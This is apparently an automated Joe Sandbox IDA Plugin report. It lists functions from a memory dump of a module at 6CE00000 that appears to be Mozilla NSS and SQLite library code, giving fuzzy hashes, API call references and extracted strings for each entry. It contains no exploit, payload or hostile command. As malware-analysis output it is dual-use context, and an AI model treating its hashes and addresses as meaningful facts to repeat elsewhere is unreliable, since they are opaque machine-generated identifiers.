Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: memset
String ID: BINARY$out of memory
API String ID: 2221118986-3971123528
Opcode ID: 2cb1196e92adff6507fe91700029367b94fd1f7595b029185d59d01dc2530724
Instruction ID: a5bb1f24ecf465fd80e6a6983cf102ae677cd0da20d609f4c5d96ee1795ba17c
Opcode Fuzzy Hash: 2cb1196e92adff6507fe91700029367b94fd1f7595b029185d59d01dc2530724
Instruction Fuzzy Hash: F852C171E05218DFDB14CF9AC890B9EBBB1FF4A308F25815ED855ABB51D730A846CB90

Function 6CEE9EC0 Relevance: 7.6, APIs: 5, Instructions: 69memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CEE9ED6

Part of subcall function 6CEE14C0: TlsGetValue.KERNEL32 ref: 6CEE14E0
Part of subcall function 6CEE14C0: EnterCriticalSection.KERNEL32 ref: 6CEE14F5
Part of subcall function 6CEE14C0: PR_Unlock.NSS3 ref: 6CEE150D

PORT_ArenaAlloc_Util.NSS3(?,00000024), ref: 6CEE9EE4

Part of subcall function 6CEE10C0: TlsGetValue.KERNEL32(?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE10F3
Part of subcall function 6CEE10C0: EnterCriticalSection.KERNEL32(?,?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE110C
Part of subcall function 6CEE10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE1141
Part of subcall function 6CEE10C0: PR_Unlock.NSS3(?,?,?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE1182
Part of subcall function 6CEE10C0: TlsGetValue.KERNEL32(?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE119C

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CEE9F38

Part of subcall function 6CEED030: PORT_NewArena_Util.NSS3(00000400,00000000,?,00000000,?,6CEE9F0B), ref: 6CEED03B
Part of subcall function 6CEED030: PORT_ArenaAlloc_Util.NSS3(00000000,00000028), ref: 6CEED04E
Part of subcall function 6CEED030: SECOID_FindOIDByTag_Util.NSS3(00000019), ref: 6CEED07B
Part of subcall function 6CEED030: SECITEM_CopyItem_Util.NSS3(00000000,-00000018,00000000), ref: 6CEED08E
Part of subcall function 6CEED030: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CEED09D

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CEE9F49
SEC_PKCS7DestroyContentInfo.NSS3(?), ref: 6CEE9F59

Part of subcall function 6CEE9D60: PORT_ArenaMark_Util.NSS3(?,00000000,?,?,00000000,?,6CEE9C5B), ref: 6CEE9D82
Part of subcall function 6CEE9D60: PORT_ArenaGrow_Util.NSS3(?,?,00000000,?,6CEE9C5B), ref: 6CEE9DA9
Part of subcall function 6CEE9D60: PORT_ArenaGrow_Util.NSS3(?,?,?,?,?,?,?,?,6CEE9C5B), ref: 6CEE9DCE
Part of subcall function 6CEE9D60: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,6CEE9C5B), ref: 6CEE9E43

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Arena_CriticalEnterErrorGrow_Mark_SectionUnlock$AllocateContentCopyDestroyFindFreeInfoItem_Tag_
String ID:
API String ID: 4287675220-0
Opcode ID: 132886c8e85c4853bc8e1c53b1aed6ae3bf3f6f8f3c0773f36a280f0f549c6b0
Instruction ID: 2cef716ff3dd5a9d4f1ad4d3fd44f3a7b80bb2b47464fa9cd7b75be1ee860ac5
Opcode Fuzzy Hash: 132886c8e85c4853bc8e1c53b1aed6ae3bf3f6f8f3c0773f36a280f0f549c6b0
Instruction Fuzzy Hash: 5E11D3B5F042015BF7109BA5AC01BAA76B5AF982CCF340138E80A8B741FB61EA59C291

Function 6CF9CDC0 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 423stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CF9D086
PR_Malloc.NSS3(00000001), ref: 6CF9D0B9
PR_Free.NSS3(?), ref: 6CF9D138

Strings

>, xrefs: 6CF9CF5B

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: FreeMallocstrlen
String ID: >
API String ID: 1782319670-325317158
Opcode ID: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction ID: 734c2723415ac51a7db1c140fda11979511ddb8a63dc4a00d35f54f95b3368cd
Opcode Fuzzy Hash: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction Fuzzy Hash: 43D16D63B456460FFF14587C8CA13EA77A38782378F784329D5629BBE5E619C883C351

Function 6CF3AD50 Relevance: 6.4, APIs: 4, Instructions: 389COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b2739c08947f5cae3ec09383a5d06e4ebaf017a6a1ac1313a41070ae1ae1ef3f
Instruction ID: 7f0f841d04562c1e751dbd82f236eaac00c590f9a677432471ee179242c2d4e1
Opcode Fuzzy Hash: b2739c08947f5cae3ec09383a5d06e4ebaf017a6a1ac1313a41070ae1ae1ef3f
Instruction Fuzzy Hash: 10F13371F112629FDF84CF69C8547AAB7F1AB8A308F15862DC909D7750EB30A981CBC1

Function 6CF2DFC0 Relevance: 6.3, APIs: 3, Strings: 1, Instructions: 344stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,00000003,?,6CE05001,?,00000003,00000000), ref: 6CF2DFD7
memset.VCRUNTIME140(00000000,00000000,?,?,?,00000003,?,6CE05001,?), ref: 6CF2E2B7
memcpy.VCRUNTIME140(00000028,00000003,?,?,?,?,?,?,00000003,?,6CE05001,?), ref: 6CF2E2DA

Strings

W, xrefs: 6CF2E111

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: memcpymemsetstrlen
String ID: W
API String ID: 160209724-655174618
Opcode ID: 5a9b23bedcdfc43a5b22df54e51b7f649d9b54521975128ea38535bdd04c02bf
Instruction ID: fb1380e86918ba3c96371c20cb500d02ab6de9fd33b4e3dc77c315a2f32ee29a
Opcode Fuzzy Hash: 5a9b23bedcdfc43a5b22df54e51b7f649d9b54521975128ea38535bdd04c02bf
Instruction Fuzzy Hash: B2C11832E052558BDB04CEB584907AA7BB1BF8630AF394179DCA99BB41D7399C02CBD1

Function 6CEF0E20 Relevance: 6.3, APIs: 2, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,00000000,00000000,00000000), ref: 6CEF1052
memset.VCRUNTIME140(-0000001C,?,?,00000000), ref: 6CEF1086

Strings

h(l, xrefs: 6CEF0E55, 6CEF0EC4, 6CEF0F3A, 6CEF0FA7
h(l, xrefs: 6CEF1062, 6CEF105D, 6CEF0F37, 6CEF1081, 6CEF1082

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: memcpymemset
String ID: h(l$h(l
API String ID: 1297977491-3413317348
Opcode ID: 91ecc14416b9f4f4945a376b9b44a36f552fa4597e9d881a1f8ba4daa5dc18b2
Instruction ID: cea579401bea313f9a029361706dd5252f3268ef15dfade82770d2b78232854e
Opcode Fuzzy Hash: 91ecc14416b9f4f4945a376b9b44a36f552fa4597e9d881a1f8ba4daa5dc18b2
Instruction Fuzzy Hash: F7A11D71F0125A9FDF08CF99C990AEEBBB6BF49314B248129E915A7700D735ED12CB90

Function 6CE16F10 Relevance: 5.2, Strings: 4, Instructions: 218COMMON

Download Yara Rule

Strings

noskipscan*, xrefs: 6CE17067
sz=[0-9]*, xrefs: 6CE17049
*?[, xrefs: 6CE17034, 6CE17052, 6CE17070
unordered*, xrefs: 6CE1702B

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID:
String ID: *?[$noskipscan*$sz=[0-9]*$unordered*
API String ID: 0-3485574213
Opcode ID: a2ac8ca23976741864c642640f7725fcb44c4f095ba973a663fa4d9bcd7a4cb1
Instruction ID: 0b488ef830040a5220d65a016e7463d0fa56f3317f64dce0860e8519dfc24d51
Opcode Fuzzy Hash: a2ac8ca23976741864c642640f7725fcb44c4f095ba973a663fa4d9bcd7a4cb1
Instruction Fuzzy Hash: A5716932F182114BEB148E6DC88039E73B29F86728F354278CD69ABFD1D6719C5687C2

Function 6CE33EC0 Relevance: 4.3, Strings: 3, Instructions: 583COMMON

Download Yara Rule

Strings

sqlite_master, xrefs: 6CE3463F
sqlite_temp_master, xrefs: 6CE3460F
sqlite_, xrefs: 6CE33FAA, 6CE34185

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID:
String ID: sqlite_$sqlite_master$sqlite_temp_master
API String ID: 0-4221611869
Opcode ID: d320c4d5767b2a868ab5cfd99b41bbb2cf5dcdf0ec770b96454797dfcf16c735
Instruction ID: d843852e1b1a39c6909f657cb2c3f1c86c63f7abf6b2b733f29e7d9bfb03bf68
Opcode Fuzzy Hash: d320c4d5767b2a868ab5cfd99b41bbb2cf5dcdf0ec770b96454797dfcf16c735
Instruction Fuzzy Hash: FE224725B495B54FD740CB2580605A67FF2AF4730CB7C65AAC9E9AFB46C223F842CB50

Function 6CF6BE70 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 1029COMMON

Download Yara Rule

Strings

`, xrefs: 6CF6C0B6

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID:
String ID: `
API String ID: 0-2679148245
Opcode ID: 2793e1496ebd30a9fa7214272adf8b5570a5bfe5b28e48bcc950c4e0a4dc6151
Instruction ID: 67e83837bc67ea7e2809f13c2540ae20a695fe79b33019b9f746d909fa9b7bdc
Opcode Fuzzy Hash: 2793e1496ebd30a9fa7214272adf8b5570a5bfe5b28e48bcc950c4e0a4dc6151
Instruction Fuzzy Hash: 01928F74A042099FDF05DF96C890BAEB7B2FF48308F284169E855ABB91D735EC46CB50

Function 6CE03D80 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 164COMMON

Download Yara Rule

APIs

htonl.WSOCK32(00000000), ref: 6CE03EA9

Strings

0, xrefs: 6CE03DAB

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: htonl
String ID: 0
API String ID: 2009864989-4108050209
Opcode ID: bea41d2e56d0981ca3fc817ff14d5ff7151ae1557395b1eee7aa5fac240a15db
Instruction ID: 92419e555bc628efa0d87893e4296f26ec6e208f2a4157c8471be8fb7ae9ddfb
Opcode Fuzzy Hash: bea41d2e56d0981ca3fc817ff14d5ff7151ae1557395b1eee7aa5fac240a15db
Instruction Fuzzy Hash: 0D513631F482698AEB15867D88607FFFBB19B83318F38432AC5A267BC1C234455787D1

Function 6CEAEE70 Relevance: 3.2, APIs: 2, Instructions: 223COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CEAF019
PK11_GenerateRandom.NSS3(?,00000000), ref: 6CEAF0F9

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: ErrorGenerateK11_Random
String ID:
API String ID: 3009229198-0
Opcode ID: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction ID: 3f3a904ec4e38096cf7b08bf2d8542e97bfdce785e39f034cce36594acbd71fb
Opcode Fuzzy Hash: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction Fuzzy Hash: A1918175A0061A8FCB14CFA9C8D16AEB7F1FF85324F24462DD562ABBC0D734A906CB51

Function 6CED2F70 Relevance: 3.1, APIs: 2, Instructions: 149COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE09A,00000000,00000000,?,6CEF7929), ref: 6CED2FAC
PR_SetError.NSS3(FFFFE040,00000000,00000000,?,6CEF7929), ref: 6CED2FE0

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: Error
String ID:
API String ID: 2619118453-0
Opcode ID: af804be8c5b26c689fc4eefd7285a28434f2fdc6bb0e20b1343ef51f6d43b8dd
Instruction ID: 9d41bb6c695d7f67c12b3a98ab8f2a252a61f3356e1f26574ba08c692eaaf389
Opcode Fuzzy Hash: af804be8c5b26c689fc4eefd7285a28434f2fdc6bb0e20b1343ef51f6d43b8dd
Instruction Fuzzy Hash: EC51C2B2A059128FD7108E59C880B6AB3B1EB4531CF3B4169D909ABB02D736FD47CB81

Function 6CE1AC60 Relevance: 2.7, Strings: 2, Instructions: 181COMMON

Download Yara Rule

Strings

winUnlockReadLock, xrefs: 6CE1AE9F
winUnlock, xrefs: 6CE1AE18

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID:
String ID: winUnlock$winUnlockReadLock
API String ID: 0-3432436631
Opcode ID: 22ea76a1ddedd595605b6ae07516ec0258beb2e5bb978fe9b17b12332a89943e
Instruction ID: de239d084573f43c6769e42f6c3e24901d537f4031fc98185ddf75c03306aa45
Opcode Fuzzy Hash: 22ea76a1ddedd595605b6ae07516ec0258beb2e5bb978fe9b17b12332a89943e
Instruction Fuzzy Hash: 98718F70A18240ABDB44CF28D884BAABBF5FF8A314F14CA1DF95997741D730A985CBC1

Function 6CEDED70 Relevance: 1.7, APIs: 1, Instructions: 217memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C), ref: 6CEDEE3D

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: Alloc_ArenaUtil
String ID:
API String ID: 2062749931-0
Opcode ID: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction ID: 542ae565fdfbf3ea03e14b4e81916b5700253002543fe59ad63e07347e56a090
Opcode Fuzzy Hash: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction Fuzzy Hash: AD71D272E01B018FD718CF59C88566AF7F2AF88308F26462DD85697B91D730F942CB91

Function 6CE1D8E0 Relevance: 1.7, APIs: 1, Instructions: 439COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?), ref: 6CE1DB8B

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 180dbc313dfad17cf733e0c9d81fa294cf4d320887a75132b1c743d89cf26910
Instruction ID: fdc5cb5138b42d1e03421c7252a293326f345079ff79d347b16fcaf989815f4c
Opcode Fuzzy Hash: 180dbc313dfad17cf733e0c9d81fa294cf4d320887a75132b1c743d89cf26910
Instruction Fuzzy Hash: 09126E75E046098FCB09CF68C490BADBBF2FF89314F24426DD41AAB791D774A942CB94

Function 6CE05F30 Relevance: 1.6, APIs: 1, Instructions: 350stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00000000), ref: 6CE06013

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: strcmp
String ID:
API String ID: 1004003707-0
Opcode ID: 5563418e5ce062fca0135f0344d873b88b9f228a8f1e1cd5f983f7529ede6ea9
Instruction ID: f768354705858614314dcc8b5c954cfa4d920e2acec1bd93ef82005173103d43
Opcode Fuzzy Hash: 5563418e5ce062fca0135f0344d873b88b9f228a8f1e1cd5f983f7529ede6ea9
Instruction Fuzzy Hash: 3BC11471B052068BDB148F15C4517AAB7BAAF4631CF388128DD99D7B42C734E8A2C7D4

Function 6CE14DB0 Relevance: 1.6, Strings: 1, Instructions: 318COMMON

Download Yara Rule

Strings

winUnlockReadLock, xrefs: 6CE15125

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID:
String ID: winUnlockReadLock
API String ID: 0-4244601998
Opcode ID: b7f11dbbce1650313e5bc0ab820ba110c9d772ef4b7c5c17b5ea1356e50c569b
Instruction ID: ff103f26b4c41fa79cd7239da6c36fc485e01eb61a9e7a4b7236c44a41fe54d7
Opcode Fuzzy Hash: b7f11dbbce1650313e5bc0ab820ba110c9d772ef4b7c5c17b5ea1356e50c569b
Instruction Fuzzy Hash: 5FE14E71A293409FDB84DF28D48475ABBF1FF8A318F118A1DF88997751D730A985CB82

